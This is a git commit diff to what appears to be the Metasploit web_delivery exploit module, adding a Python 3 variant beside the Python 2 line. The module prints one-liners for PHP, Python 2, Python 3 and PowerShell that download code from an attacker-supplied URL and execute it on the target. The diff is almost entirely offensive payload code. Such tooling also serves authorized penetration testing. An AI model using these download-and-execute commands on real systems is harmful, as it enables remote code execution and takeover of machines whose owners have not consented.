added the python3 syntax to the web_delivery script

bug/bundler_fix
Swiftb0y 2017-03-20 16:08:08 +01:00
parent c0c1ac39bd
commit e51063aa56
1 changed files with 3 additions and 0 deletions

View File

@ -86,7 +86,10 @@ class MetasploitModule < Msf::Exploit::Remote
when 'PHP'
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
when 'Python'
print_line("python 2:")
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
print_line("Python 3:")
print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
when 'PSH'
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)